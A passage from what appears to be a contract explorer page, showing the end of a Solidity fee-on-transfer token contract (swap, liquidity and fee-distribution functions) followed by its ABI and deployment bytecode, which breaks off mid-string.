                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
 
                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] <= block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
 
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
 
       
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;
 
        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
 
            swapBack();
 
            swapping = false;
        }
 
         bool takeFee = !swapping;
 
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketing / sellTotalFees;
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketing / buyTotalFees;
            }
 
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
 
            amount -= fees;
        }
 
        super._transfer(from, to, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
 
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
 
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
 
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
 
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
 
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
 
        swapTokensForEth(amountToSwapForETH); 
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
 
 
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
 
        (success,) = address(DevWallet).call{value: ethForDev}("");
 
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
 
        (success,) = address(MarketingWallet).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"DevWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_DevFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"isSniper","type":"uint256"},{"internalType":"uint256","name":"notSniper","type":"uint256"}],"name":"updateSnipers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526001600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055506001600f60006101000a81548160ff0219169083151502179055503480156200007d57600080fd5b506040518060400160405280600881526020017f43616c6c6973746f0000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f43414c000000000000000000000000000000000000000000000000000000000081525081600390805190602001906200010292919062000be5565b5080600490805190602001906200011b92919062000be5565b505050600062000130620006a960201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001fb816001620006b160201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a1919062000cff565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000309573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032f919062000cff565b6040518363ffffffff1660e01b81526004016200034e92919062000d42565b6020604051808303816000875af11580156200036e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000394919062000cff565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620003dc60a0516001620006b160201b60201c565b620003f160a0516001620007ae60201b60201c565b6000600190506000600190506000600190506000600190506000600190506000600190506000620004276200084f60201b60201c565b600a62000435919062000f09565b6298968062000445919062000f5a565b9050620004576200084f60201b60201c565b600a62000465919062000f09565b62030d4062000475919062000f5a565b6008819055506200048b6200084f60201b60201c565b600a62000499919062000f09565b62030d40620004a9919062000f5a565b600a81905550612710600a82620004c1919062000f5a565b620004cd919062000fea565b600981905550866011819055508560128190555084601381905550601354601254601154620004fd919062001022565b62000509919062001022565b60108190555083601581905550826016819055508160178190555060175460165460155462000539919062001022565b62000545919062001022565b60148190555073cfc002ff599df9015adb5bf91c2ffac48060cca1600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a9213fb2d4bab0bf42cfc0d6342a0dd6f854c13c600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000617620006096200085860201b60201c565b60016200088260201b60201c565b6200062a3060016200088260201b60201c565b6200063f61dead60016200088260201b60201c565b62000661620006536200085860201b60201c565b6001620006b160201b60201c565b62000674306001620006b160201b60201c565b6200068961dead6001620006b160201b60201c565b6200069b3382620009cf60201b60201c565b5050505050505050620012b2565b600033905090565b620006c1620006a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000753576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200074a90620010e0565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60006012905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000892620006a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000924576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200091b90620010e0565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620009c391906200111f565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a38906200118c565b60405180910390fd5b62000a556000838362000b7d60201b60201c565b62000a718160025462000b8260201b6200265b1790919060201c565b60028190555062000acf816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000b8260201b6200265b1790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b719190620011bf565b60405180910390a35050565b505050565b600080828462000b93919062001022565b90508381101562000bdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bd2906200122c565b60405180910390fd5b8091505092915050565b82805462000bf3906200127d565b90600052602060002090601f01602090048101928262000c17576000855562000c63565b82601f1062000c3257805160ff191683800117855562000c63565b8280016001018555821562000c63579182015b8281111562000c6257825182559160200191906001019062000c45565b5b50905062000c72919062000c76565b5090565b5b8082111562000c9157600081600090555060010162000c77565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000cc78262000c9a565b9050919050565b62000cd98162000cba565b811462000ce557600080fd5b50565b60008151905062000cf98162000cce565b92915050565b60006020828403121562000d185762000d1762000c95565b5b600062000d288482850162000ce8565b91505092915050565b62000d3c8162000cba565b82525050565b600060408201905062000d59600083018562000d31565b62000d68602083018462000d31565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000dfd5780860481111562000dd55762000dd462000d6f565b5b600185161562000de55780820291505b808102905062000df58562000d9e565b945062000db5565b94509492505050565b60008262000e18576001905062000eeb565b8162000e28576000905062000eeb565b816001811462000e41576002811462000e4c5762000e82565b600191505062000eeb565b60ff84111562000e615762000e6062000d6f565b5b8360020a91508482111562000e7b5762000e7a62000d6f565b5b5062000eeb565b5060208310610133831016604e8410600b841016171562000ebc5782820a90508381111562000eb65762000eb562000d6f565b5b62000eeb565b62000ecb848484600162000dab565b9250905081840481111562000ee55762000ee462000d6f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000f168262000ef2565b915062000f238362000efc565b925062000f527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e06565b905092915050565b600062000f678262000ef2565b915062000f748362000ef2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000fb05762000faf62000d6f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ff78262000ef2565b9150620010048362000ef2565b92508262001017576200101662000fbb565b5b828204905092915050565b60006200102f8262000ef2565b91506200103c8362000ef2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001074576200107362000d6f565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620010c86020836200107f565b9150620010d58262001090565b602082019050919050565b60006020820190508181036000830152620010fb81620010b9565b9050919050565b60008115159050919050565b620011198162001102565b82525050565b60006020820190506200113660008301846200110e565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001174601f836200107f565b915062001181826200113c565b602082019050919050565b60006020820190508181036000830152620011a78162001165565b9050919050565b620011b98162000ef2565b82525050565b6000602082019050620011d66000830184620011ae565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001214601b836200107f565b91506200122182620011dc565b602082019050919050565b60006020820190508181036000830152620012478162001205565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200129657607f821691505b602082108103620012ac57620012ab6200124e565b5b50919050565b60805160a0516159a06200132560003960008181611187015281816116f701528181611b0101528181612d220152818161366e01526136b4015260008181610d3701528181612cca015281816137d4015281816138b5015281816138dc015281816140a601526140cd01526159a06000f3fe6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610bbb578063f2fde38b14610be6578063f637434214610c0f578063f8b45b0514610c3a5761030a565b8063dd62ed3e14610b28578063e2f4560514610b65578063e884f26014610b905761030a565b8063c17b5b8c14610a18578063c18bc19514610a41578063c876d0b914610a6a578063c8c8ebe414610a95578063d257b34f14610ac0578063d85ba06314610afd5761030a565b8063a457c2d711610149578063aacebbe311610123578063aacebbe31461095e578063b62496f514610987578063bbc0c742146109c4578063c0246668146109ef5761030a565b8063a457c2d7146108b9578063a8b9f94d146108f6578063a9059cbb146109215761030a565b8063924de9b7146107bb57806395d89b41146107e45780639a7a23d61461080f5780639c3b4fdc146108385780639fccce3214610863578063a0d82dc51461088e5761030a565b80634a62bb651161024f578063715018a6116102085780638095d564116101e25780638095d56414610713578063823a782a1461073c5780638a8c523c146107795780638da5cb5b146107905761030a565b8063715018a6146106a8578063751039fc146106bf5780637571336a146106ea5761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636b41ae0c146106155780636ddd17131461064057806370a082311461066b5761030a565b80631a8145bb116102bc57806323b872dd1161029657806323b872dd146104b2578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631a8145bb146104335780631f3fed8f1461045e578063203e727e146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631816467f1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c65565b6040516103319190614276565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190614331565b610cf7565b60405161036e919061438c565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906143a7565b610d15565b6040516103ab919061438c565b60405180910390f35b3480156103c057600080fd5b506103c9610d35565b6040516103d69190614433565b60405180910390f35b3480156103eb57600080fd5b506103f4610d59565b604051610401919061445d565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c91906143a7565b610d63565b005b34801561043f57600080fd5b50610448610eba565b604051610455919061445d565b60405180910390f35b34801561046a57600080fd5b50610473610ec0565b604051610480919061445d565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190614478565b610ec6565b005b3480156104be57600080fd5b506104d960048036038101906104d491906144a5565b610ff0565b6040516104e6919061438c565b60405180910390f35b3480156104fb57600080fd5b506105046110c9565b6040516105119190614514565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190614331565b6110d2565b60405161054e919061438c565b60405180910390f35b34801561056357600080fd5b5061056c611185565b604051610579919061453e565b60405180910390f35b34801561058e57600080fd5b506105976111a9565b6040516105a4919061438c565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf91906143a7565b6111bc565b6040516105e1919061438c565b60405180910390f35b3480156105f657600080fd5b506105ff611212565b60405161060c919061445d565b60405180910390f35b34801561062157600080fd5b5061062a611218565b604051610637919061445d565b60405180910390f35b34801561064c57600080fd5b5061065561121e565b604051610662919061438c565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d91906143a7565b611231565b60405161069f919061445d565b60405180910390f35b3480156106b457600080fd5b506106bd611279565b005b3480156106cb57600080fd5b506106d46113d1565b6040516106e1919061438c565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190614585565b61148c565b005b34801561071f57600080fd5b5061073a600480360381019061073591906145c5565b61157e565b005b34801561074857600080fd5b50610763600480360381019061075e9190614618565b611698565b604051610770919061438c565b60405180910390f35b34801561078557600080fd5b5061078e611822565b005b34801561079c57600080fd5b506107a56118f8565b6040516107b2919061453e565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190614658565b611922565b005b3480156107f057600080fd5b506107f96119d6565b6040516108069190614276565b60405180910390f35b34801561081b57600080fd5b5061083660048036038101906108319190614585565b611a68565b005b34801561084457600080fd5b5061084d611b9b565b60405161085a919061445d565b60405180910390f35b34801561086f57600080fd5b50610878611ba1565b604051610885919061445d565b60405180910390f35b34801561089a57600080fd5b506108a3611ba7565b6040516108b0919061445d565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190614331565b611bad565b6040516108ed919061438c565b60405180910390f35b34801561090257600080fd5b5061090b611c7a565b604051610918919061445d565b60405180910390f35b34801561092d57600080fd5b5061094860048036038101906109439190614331565b611c80565b604051610955919061438c565b60405180910390f35b34801561096a57600080fd5b50610985600480360381019061098091906143a7565b611c9e565b005b34801561099357600080fd5b506109ae60048036038101906109a991906143a7565b611df5565b6040516109bb919061438c565b60405180910390f35b3480156109d057600080fd5b506109d9611e15565b6040516109e6919061438c565b60405180910390f35b3480156109fb57600080fd5b50610a166004803603810190610a119190614585565b611e28565b005b348015610a2457600080fd5b50610a3f6004803603810190610a3a91906145c5565b611f68565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190614478565b612082565b005b348015610a7657600080fd5b50610a7f6121ac565b604051610a8c919061438c565b60405180910390f35b348015610aa157600080fd5b50610aaa6121bf565b604051610ab7919061445d565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae29190614478565b6121c5565b604051610af4919061438c565b60405180910390f35b348015610b0957600080fd5b50610b12612335565b604051610b1f919061445d565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a9190614685565b61233b565b604051610b5c919061445d565b60405180910390f35b348015610b7157600080fd5b50610b7a6123c2565b604051610b87919061445d565b60405180910390f35b348015610b9c57600080fd5b50610ba56123c8565b604051610bb2919061438c565b60405180910390f35b348015610bc757600080fd5b50610bd0612483565b604051610bdd919061445d565b60405180910390f35b348015610bf257600080fd5b50610c0d6004803603810190610c0891906143a7565b612489565b005b348015610c1b57600080fd5b50610c2461264f565b604051610c31919061445d565b60405180910390f35b348015610c4657600080fd5b50610c4f612655565b604051610c5c919061445d565b60405180910390f35b606060038054610c74906146f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906146f4565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602